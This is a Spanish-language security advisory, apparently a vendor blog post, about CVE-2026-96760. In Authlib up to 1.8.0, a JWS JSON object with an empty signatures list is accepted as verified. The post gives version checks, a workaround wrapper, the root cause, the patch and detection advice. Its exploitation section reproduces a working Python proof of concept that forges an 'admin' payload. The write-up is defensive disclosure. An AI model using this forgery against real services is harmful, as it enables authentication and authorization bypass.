Evasión de la firma JWS en Authlib, corregida en la versión 1.9.0 (CVE-2026-96760)
Hasta la versión 1.8.0, Authlib da por verificado un objeto JWS JSON con la lista de firmas vacía sin comprobar la clave: CVE-2026-96760, de severidad crítica (CVSS 9.1), corregida en la versión 1.9.0.
Resumen (TL;DR)
- Authlib, la biblioteca de Python para OAuth, OpenID Connect y JWT/JWS, aceptaba un objeto JWS JSON Serialization cuyo array
signaturesestá vacío y devolvía su payload como verificado correctamente, sin examinar ninguna firma y sin consultar en ningún momento la clave de verificación que pasaba el llamador. El fallo es CVE-2026-96760, una evasión de la verificación de firma de severidad crítica enJsonWebSignature.deserialize_json(), enauthlib/jose/rfc7515/jws.py. - Todas las versiones hasta la 1.8.0 inclusive están afectadas, según el aviso de seguridad del proveedor GHSA-6v38-4h7w-rj9h. La corrección se publicó en Authlib 1.9.0, lanzada el 14 de octubre de 2026.
- El aviso del proveedor le asigna una puntuación CVSS v3.1 de 9.1, crítica; el enriquecimiento CISA ADP del registro CVE le asigna 9.8, crítica. Las dos puntuaciones solo difieren en el impacto sobre la disponibilidad.
- La evaluación SSVC de CISA registra Exploitation: none a fecha del 1 de octubre de 2026, y el fallo no figura en el catálogo CISA KEV a fecha del 27 de octubre de 2026. El aviso de seguridad incluye una prueba de concepto pública.
- Actualice a Authlib 1.9.0 o posterior. Mientras tanto, rechace cualquier entrada JWS JSON cuyo miembro
signaturesesté presente pero vacío antes de que llegue a Authlib, o acepte solo tokens en serialización compacta, que no están afectados. - Authlib registró 28,498,200 descargas en PyPI la última semana y 107,757,780 el último mes (pypistats, consultado el 27 de octubre de 2026).
¿Estoy afectado?
Está afectado si se cumplen todas estas condiciones:
- Un servicio de Python instala el paquete
authliben la versión 1.8.0 o anterior y utiliza su módulojosepara verificar JSON Web Signatures o JSON Web Tokens. - El servicio acepta la JWS JSON Serialization general, el objeto
{"payload": ..., "signatures": [...]}definido en la RFC 7515, sección 7.2.1, además de los tokens compactos con puntos o en lugar de ellos. - Esos tokens serializados en JSON llegan a
JsonWebSignature.deserialize_json(), o aJsonWebSignature.deserialize(), que reenvía las entradas de tipo dict y el texto JSON adeserialize_json(). - El origen de los tokens es accesible para un atacante, por ejemplo el cuerpo de una solicitud, un webhook, una cola de mensajes o una cabecera de una API pública.
No está afectado en estos casos:
- Solo verifica tokens en serialización compacta (
header.payload.signature):deserialize_compact()verifica la firma de forma incondicional. - Solo acepta la forma JSON aplanada (
{"payload": ..., "protected": ..., "signature": "..."}): sigue otra rama y valida su única firma. - Verifica los tokens con
JsonWebToken.decode(), la llamadajwt.decode()que usa la mayor parte del código JWT: cuenta los puntos de su entrada, envía un token con 2 puntos adeserialize_compact()(y uno con 4 puntos a JWE) y lanzaDecodeErrorpara cualquier otra cosa, por lo que nunca llega adeserialize_json(). En la versión 1.8.0 (authlib/jose/rfc7519/jwt.py), un objeto{"payload": ..., "signatures": []}falsificado no contiene puntos y se rechaza ahí, mientras queJsonWebSignature().deserialize()lo acepta.
| Paquete | Versiones afectadas | Versión corregida |
|---|---|---|
| authlib (PyPI) | todas las versiones hasta la 1.8.0 inclusive | 1.9.0 |
Compruebe qué versión tiene instalada:
pip show authlib | grep -E "^(Name|Version)"
Compruebe la versión fijada en sus archivos de bloqueo:
grep -iE '^authlib' requirements.txt requirements/*.txt 2>/dev/null
grep '"authlib"' Pipfile.lock 2>/dev/null
grep -A2 'name = "authlib"' uv.lock 2>/dev/null | grep -E 'name|version'
grep -iE 'authlib' pyproject.toml poetry.lock 2>/dev/null
Compruebe si su código utiliza los puntos de entrada afectados:
grep -rn "deserialize_json\|deserialize(" --include="*.py" . | grep -v test
En el caso de los contenedores, compruebe el contenedor en ejecución, no la imagen que cree haber construido:
docker exec <container> pip show authlib | grep Version
¿Cómo lo corrijo?
Actualice Authlib a la versión 1.9.0 o posterior y vuelva a crear los contenedores o las imágenes de servidor desplegados, para que la corrección esté en el proceso que se ejecuta y no solo en la etiqueta de imagen más reciente.
pip install --upgrade "authlib>=1.9.0"
Si todavía no puede actualizar, filtre la entrada antes de que llegue a Authlib. Rechace cualquier objeto JWS JSON cuyo miembro signatures sea una lista vacía: esa es la ruta de CVE-2026-96760. El filtro también rechaza un miembro null, que Authlib ya rechaza con un TypeError; rechazarlo aquí solo convierte ese fallo de ejecución en un BadSignatureError limpio. Deje pasar los objetos que no tienen ese miembro: son la forma aplanada, que Authlib ya valida. Después, haga pasar cada llamada a deserialize() y deserialize_json() por un único wrapper que aplique el filtro antes de entregar el token a deserialize():
import json
from authlib.jose import JsonWebSignature
from authlib.jose.errors import BadSignatureError
_jws = JsonWebSignature()
def _reject_empty_signatures(obj):
if "signatures" in obj and not obj["signatures"]:
raise BadSignatureError("JWS carries no signatures")
def safe_deserialize(data, key, decode=None):
if isinstance(data, dict):
_reject_empty_signatures(data)
else:
raw = data.encode() if isinstance(data, str) else data
if raw.startswith(b"{") and raw.endswith(b"}"):
_reject_empty_signatures(json.loads(raw))
return _jws.deserialize(data, key, decode)
El wrapper reproduce la forma en que deserialize() elige un formato: los dicts y el texto JSON pasan por el filtro, y los tokens compactos van directamente a Authlib, que los verifica. Las limitaciones de esta solución provisional: solo protege los puntos de llamada que usted envuelva, por lo que cada ruta que acepte JWS en serialización general necesita la misma comprobación, y no modifica Authlib en sí, por lo que cualquier llamada futura que eluda su wrapper queda sin protección. Cubre CVE-2026-96760, que es la ruta de las firmas vacías; las entradas compactas y aplanadas ya fallan de forma segura dentro de Authlib.
¿Cuál es la causa raíz?
JsonWebSignature.deserialize_json() en authlib/jose/rfc7515/jws.py inicializa su indicador de validez a True antes de haber comprobado nada, y solo lo cambia a False dentro del bucle que recorre el array signatures del token. Por eso, un JWS en serialización general con una lista signatures vacía se salta todos los pasos de verificación y se devuelve como verificado correctamente, aunque el llamador haya proporcionado una clave válida.
El código vulnerable, leído del código fuente de la v1.8.0 (a partir de la línea 204):
headers = []
is_valid = True
for header_obj in obj["signatures"]:
jws_header, valid = self._validate_json_jws(
payload_segment, payload, header_obj, key
)
headers.append(jws_header)
if not valid:
is_valid = False
rv = JWSObject(headers, payload, "json")
if is_valid:
return rv
raise BadSignatureError(rv)
Tres factores convierten esto en una evasión de la verificación y no en un fallo de ejecución:
is_validempieza valiendoTrue. Su estado por defecto afirma que el objeto es válido antes de examinar ninguna firma.- El cuerpo del bucle, el único lugar que puede establecer
is_valid = False, se ejecuta una vez por cada entrada deobj["signatures"]. Una lista vacía da cero iteraciones, así que el indicador conserva su valor inicialTrue. - La
keydel llamador solo se utiliza dentro de_validate_json_jws(), a la que el bucle vacío nunca llama. La clave de verificación que la aplicación proporcionó con cuidado no se consulta en ningún momento.
El contrato del método hace que el objeto devuelto sea determinante: deserialize_json() solo indica un rechazo lanzando BadSignatureError, así que cuando la llamada devuelve un JWSObject en lugar de lanzar una excepción, el llamador trata su payload como verificado. El punto de entrada amplía el alcance: deserialize() reenvía las entradas de tipo dict y cualquier texto JSON que empiece por { y termine en } a deserialize_json(), mientras que los tokens compactos van a deserialize_compact(), que siempre ejecuta algorithm.verify().
¿Cómo se explota?
El atacante envía un payload envuelto en una JWS JSON Serialization general con un array signatures vacío, y la aplicación lo devuelve como verificado aunque la clave del llamador nunca se consulta y no existe ninguna firma en el objeto.
La prueba de concepto pública del aviso de seguridad lo demuestra. La última línea se ha añadido aquí y pasa una clave real, igual que el caso con clave proporcionada de la transcripción del propio aviso:
import base64
from authlib.jose import JsonWebSignature
def b64(b):
return base64.urlsafe_b64encode(b).rstrip(b"=").decode()
jws = JsonWebSignature()
payload = b'{"sub":"attacker","role":"admin"}'
forged = {"payload": b64(payload), "signatures": []}
print(jws.deserialize_json(forged, key=None))
print(jws.deserialize_json(forged, key="the-apps-real-hs256-secret")) # still accepted
El aviso registra el resultado observado en un artefacto instalado de Authlib 1.8.0 con Python 3.14: el objeto falsificado es ACCEPTED tanto con key=None como con la clave real.
El diagrama muestra cómo el payload falsificado llega a ganarse la confianza de la aplicación:
{sub, role, scopes}"] --> B["Payload en base64url dentro de una
serialización JSON general"] B --> C["signatures: []
no existe ninguna firma"] C --> D["deserialize_json() / deserialize()
con la clave de la aplicación"] D --> E["La verificación nunca se ejecuta:
el bucle sobre signatures
da cero iteraciones"] E --> F["is_valid sigue en True,
payload devuelto como verificado"] F --> G["Identidad, roles o autorización
falsificados aceptados"] style E stroke:#c00,stroke-width:3px
¿Qué puede hacer un atacante?
Un atacante puede conseguir que una aplicación que verifica JWS acepte contenido arbitrario en el payload como firmado correctamente, y el aviso de seguridad y la nota del CERT/CC detallan lo que eso suele implicar.
- Omisión de autenticación: claims de identidad falsificados como
subo un claim de privilegios comorole=adminpasan por auténticos. - Autorización falsificada: los scopes, roles y permisos del payload pasan a considerarse de confianza.
- Inyección de mensajes firmados: los microservicios que se autentican entre sí mediante mensajes firmados con JWS aceptan mensajes redactados por el atacante.
- Evasión de la integridad: cualquier flujo de datos que dependa de las firmas JWS para demostrar el origen acepta contenido falsificado.
El atacante no necesita ninguna clave, ninguna credencial ni interacción del usuario, y por eso los dos vectores publicados indican AV:N/AC:L/PR:N/UI:N. La condición limitante está del lado de la aplicación: debe aceptar JWS en serialización general desde un origen no fiable y confiar en el valor devuelto como verificado.
Las dos puntuaciones publicadas solo difieren en el impacto sobre la disponibilidad:
| Fuente | Puntuación CVSS v3.1 | Vector | Disponibilidad |
|---|---|---|---|
| Aviso del proveedor GHSA-6v38-4h7w-rj9h | 9.1, crítica | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N | Ninguno (A:N) |
| Enriquecimiento CISA ADP del registro CVE | 9.8, crítica | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H | Alto (A:H) |
La evaluación SSVC de CISA del 1 de octubre de 2026 registra Exploitation: none, Automatable: yes, Technical Impact: total. El mismo enriquecimiento clasifica el fallo de verificación de firma como CWE-347 (Improper Verification of Cryptographic Signature).
¿Por qué funciona la corrección?
La corrección añade una comprobación antes del bucle, de modo que un array signatures vacío, la única forma que permitía a is_valid conservar su valor inicial True, ahora lo fuerza a False, y una prueba de regresión fija ese comportamiento. Un array null nunca llegaba al retorno verificado: iterar sobre None lanza TypeError, antes y después de la corrección.
El parche, commit 6c11a02d, integrado en el pull request #938:
headers = []
is_valid = True
+
+ # invalidates cases like obj["signatures"] = None or obj["signatures"] = []
+ if not obj["signatures"]:
+ is_valid = False
+
for header_obj in obj["signatures"]:
jws_header, valid = self._validate_json_jws(
payload_segment, payload, header_obj, key
El comentario del código también menciona None, pero para esa entrada la comprobación solo establece el indicador: el bucle for que viene justo después sigue iterando sobre None y lanza TypeError, como antes. Por tanto, el rechazo limpio con BadSignatureError solo se aplica al array vacío, no a None.
Con la comprobación en su sitio, un array vacío fuerza is_valid = False, así que el método llega a raise BadSignatureError(rv) y el llamador ve un token rechazado. La prueba añadida, test_deserialize_json_empty_signatures, introduce {"payload": "YQ", "signatures": []} y comprueba que se lanza exactamente esa excepción.
La corrección es completa para esta ruta: un atacante ya no puede llegar al retorno verificado sin que se haya validado al menos una firma, y el bucle de validación por firma no cambia, por lo que los tokens que sí llevan firmas se verifican como antes.
¿Cómo compruebo si he sido comprometido?
No se han publicado indicadores de compromiso para este fallo a fecha del 27 de octubre de 2026, así que las comprobaciones siguientes son patrones derivados del propio fallo, no una lista de IOC del proveedor.
- Busque en los cuerpos de las solicitudes, los registros de recepción de tokens y los registros de webhooks la firma estructural del objeto falsificado: un cuerpo JWS JSON cuyo miembro
signaturessea un array vacío, por ejemplo"signatures":[]o"signatures": []. - Revise los registros de autenticación y autorización en torno a cualquier JWS aceptado cuyos claims hayan cambiado sin la correspondiente actividad de firma por su parte, por ejemplo un valor de identidad o de rol que ningún emisor legítimo haya generado.
- Determine su ventana de exposición:
pip show authliben el host desplegado, odocker exec <container> pip show authlib, indica la versión instalada, y su historial de despliegues muestra después cuánto tiempo estuvo en servicio una versión anterior a la 1.9.0, lo que delimita la ventana que debe cubrir su búsqueda en los registros.
Cronología
- 2026-09-23: CERT/CC reserva CVE-2026-96760 (dateReserved del registro CVE).
- 2026-09-28: CERT/CC publica VU#762428 y el registro CVE. La nota describe las versiones hasta la 1.7.2 inclusive e indica que no se pudo contactar con el proveedor y que no había ningún parche disponible en el momento de su redacción.
- 2026-10-01: se escribe la corrección (fecha de autoría del commit 6c11a02d); el enriquecimiento CISA ADP se registra el mismo día con Exploitation: none.
- 2026-10-14: se publica Authlib v1.9.0 con la corrección, en el pull request #938 de Leonardo Oporto.
- 2026-10-27: la GitHub Advisory Database publica la entrada revisada GHSA-6v38-4h7w-rj9h a las 14:50 UTC, que reconoce a zer0d4y5, uziii2208 y nguyenminhtuan28 como autores del reporte; a continuación se publica este artículo.
Preguntas frecuentes
¿Afecta a los JWT habituales en serialización compacta?
No. La forma con puntos header.payload.signature pasa por deserialize_compact(), que siempre llama a algorithm.verify() y lanza BadSignatureError ante cualquier discrepancia. Solo está afectada la forma de serialización JSON general con un array signatures vacío.
¿El bug solo importa cuando la aplicación no pasa ninguna clave?
No. La clave de verificación se utiliza dentro de _validate_json_jws(), a la que el bucle vacío nunca llama, de modo que un token falsificado pasa incluso cuando la aplicación proporciona correctamente una clave válida. El fragmento de exploit de la sección «¿Cómo se explota?» llama a deserialize_json() con key=None y de nuevo con una clave real, y la reproducción del aviso muestra el objeto falsificado aceptado en ambos casos. Las aplicaciones que pasan su clave real son precisamente las vulnerables.
¿Está afectada la forma JSON aplanada?
No. Un objeto con un miembro signature en lugar de signatures sigue la rama aplanada, que valida su única firma y lanza una excepción si falla. El bug es la inicialización del indicador en la forma general combinada con un array vacío.
¿Se está explotando activamente?
No se conoce ninguna explotación. La evaluación SSVC de CISA del 1 de octubre de 2026 registra Exploitation: none, y la CVE no figura en el catálogo CISA KEV a fecha del 27 de octubre de 2026. Existe una prueba de concepto pública desde la publicación del aviso, por lo que las comprobaciones de exposición deben partir de que cualquiera puede reproducir la técnica.
¿Por qué CERT/CC indicó la 1.7.2 mientras que el aviso indica la 1.8.0?
La nota del CERT del 28 de septiembre de 2026 enumera las versiones hasta la 1.7.2 e indica que entonces no existía ningún parche. La versión 1.8.0 ya se había publicado el 30 de agosto de 2026; las fuentes no explican por qué la nota anterior se detenía en la 1.7.2. El aviso del proveedor GHSA-6v38-4h7w-rj9h es la referencia para el rango: todas las versiones hasta la 1.8.0 inclusive, corregido por primera vez en la 1.9.0, y la reproducción del propio aviso se observó en la 1.8.0.
¿La actualización requiere cambios en el código?
No. La corrección es interna a deserialize_json(), así que pip install --upgrade "authlib>=1.9.0" y volver a crear los contenedores desplegados cierra el fallo. Las aplicaciones que mantengan un prefiltro como solución provisional pueden retirarlo después de la actualización, ya que la 1.9.0 falla de forma segura ante firmas vacías.
Encuentre las instalaciones vulnerables de Authlib antes que un atacante
Ejecute Ostorlab SCA en sus repositorios e imágenes de contenedores para listar cada proyecto y cada versión que todavía incluya Authlib en una versión anterior a la 1.9.0.
Referencias
- Aviso de seguridad del proveedor GHSA-6v38-4h7w-rj9h, con la causa raíz, la prueba de concepto, el rango afectado hasta la 1.8.0 y la corrección de la 1.9.0: https://github.com/authlib/authlib/security/advisories/GHSA-6v38-4h7w-rj9h (consultado el 27 de octubre de 2026)
- Entrada revisada GHSA-6v38-4h7w-rj9h de la GitHub Advisory Database, crítica, CVSS v3.1 9.1 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N), publicada el 27 de octubre de 2026, que reconoce a zer0d4y5, uziii2208 y nguyenminhtuan28: https://github.com/advisories/GHSA-6v38-4h7w-rj9h (consultado el 27 de octubre de 2026)
- Registro CVE-2026-96760, CNA CERT/CC, publicado el 28 de septiembre de 2026, con el enriquecimiento CISA ADP: CVSS v3.1 9.8 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H), CWE-347 (Improper Verification of Cryptographic Signature), SSVC Exploitation: none a fecha del 1 de octubre de 2026: https://cveawg.mitre.org/api/cve/CVE-2026-96760 (consultado el 27 de octubre de 2026)
- Nota de vulnerabilidad VU#762428 de CERT/CC, publicación original del 28 de septiembre de 2026, que describe la evasión mediante firmas vacías, los dos puntos de entrada afectados, los escenarios de impacto y la ausencia de parche en el momento de la publicación: https://www.kb.cert.org/vuls/id/762428 (consultado el 27 de octubre de 2026)
- Commit de corrección 6c11a02d, «Fix empty signatures validation in JWS JSON deserialization», escrito el 1 de octubre de 2026 por Leonardo Oporto, con la comprobación añadida y la prueba de regresión: https://github.com/authlib/authlib/commit/6c11a02da8730914cea08ec195f1108a40dc6733 (consultado el 27 de octubre de 2026)
- Pull request de corrección #938: https://github.com/authlib/authlib/pull/938 (referenciado en las notas de la versión v1.9.0, consultado el 27 de octubre de 2026)
- Versión Authlib v1.9.0, publicada el 14 de octubre de 2026, que incluye la corrección: https://github.com/authlib/authlib/releases/tag/v1.9.0 (consultado el 27 de octubre de 2026)
- Archivo vulnerable
authlib/jose/rfc7515/jws.pyen la etiqueta v1.8.0, con las implementaciones dedeserialize_json(),deserialize()y_validate_json_jws(): https://raw.githubusercontent.com/authlib/authlib/v1.8.0/authlib/jose/rfc7515/jws.py (consultado el 27 de octubre de 2026) - Cifras de descargas de Authlib en PyPI, 28,498,200 la última semana y 107,757,780 el último mes: https://pypistats.org/api/packages/authlib/recent (consultado el 27 de octubre de 2026)
- Catálogo CISA Known Exploited Vulnerabilities, consultado para CVE-2026-96760 el 27 de octubre de 2026 (no figura): https://www.cisa.gov/known-exploited-vulnerabilities-catalog